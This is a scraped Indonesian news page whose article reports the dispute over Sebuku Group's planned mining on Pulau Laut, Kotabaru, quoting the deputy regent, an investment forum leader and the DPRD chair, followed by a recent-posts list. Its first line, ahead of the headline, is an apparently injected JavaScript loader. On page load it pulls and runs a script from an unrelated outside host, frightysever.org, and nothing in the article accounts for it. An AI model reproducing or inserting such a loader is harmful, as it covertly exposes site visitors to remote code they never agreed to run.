(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pro Kontra Tambang Pulau Laut, Siapa Sebenarnya Pegang Kendali?


KOTABARU, Pro kontra menyikapi rencana aktifitas pertambangan di Pulau Laut, Kotabaru, masih bergulir. Meski ada isyarat pemerintah daerah menyerah dengan memberikan lampu hijau jika investor telah mengantongi seluruh aspek legalitas. Tapi di sisi lain,  masyarakat yang menolak berdalih apabila Pemkab tidak memberikan izinnya, maka Provinsi pun tidak akan bisa berbuat apa-apa.

Sikap pemerintah yang terkesan menyerah terhadap desakan yang muncul, sebagaimana disampaikan Wakil Bupati Kotabaru Ir H Burhanudin saat menghadiri rapat dengar pendapat di ruang sidang paripurna DPRD beberapa waktu lalu. Rapat tersebut juga dihadiri Dandim 1004, perwakilan Lanal, serta masyarakat yang menamakan diri Forum Peduli Dunia Invetasi Kotabaru.

“Secara pribadi, saya tetap pada pendirian sebagaimana janji waktu Pilkada dulu dan hingga sekarang pun tetap menolak aktifitas pertambangan di Pulau Laut. Namun, karena berkaitan dengan legalitas, kalaupun ternyata Sebuku Grup telah mengantongi legalitasnya maka silahkan saja dilakukan dan saya juga tidak bisa berbuat apa-apa,” tegas Burhanudin.

Pro dan kontra terhadap rencana aktifitas pertambangan di Pulau Laut Kotabaru oleh pihak Sebuku Grup tentunya menjadi perhatian. Sebelumnya juga telah digelar pertemuan serupa hanya saja beda pandangan. Intinya, mereka meminta adanya peninjauan ulang terhadap pertambangan Pulau Laut. (Baca: Polemik Soal Tambang Pulau Laut, Ini Alasan Masuknya TNI yang Diprotes LSM).

Di sisi lain, menurut Ketua Forum Peduli Investasi Kotabaru, H Sahidudin mengatakan bahwa, berkaitan dengan dunia investasi tugas Pemerintah Daerah mesti menjaga keamanan pihak yang akan menanamkan modalnya di Kotabaru.

“Bukan hanya itu saja, pastinya harus bersifat membangun daerah untuk lebih maju berkembang,” ungkap pria yang akrab disapa H Iid ini.

Sementara Ketua DPRD Kotabaru Hj Alfisah menyatakan, sampai sekarang pihak legislatif tidak berubah yakni menerima, menyerap serta menindak lanjuti penyampaian aspirasi.

“Misalkan nanti masih menjadi kewenangan Pemprov maka akan kita tindak lanjuti ke sana, hanya saja sebelum kami mengambil sikap akan mengadakan rapat internal terlebih dahulu,” katanya.


Page: 1 2

Desy Arfianty

Recent Posts

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

39 menit ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

2 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

3 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

15 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

16 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

16 jam ago

This website uses cookies.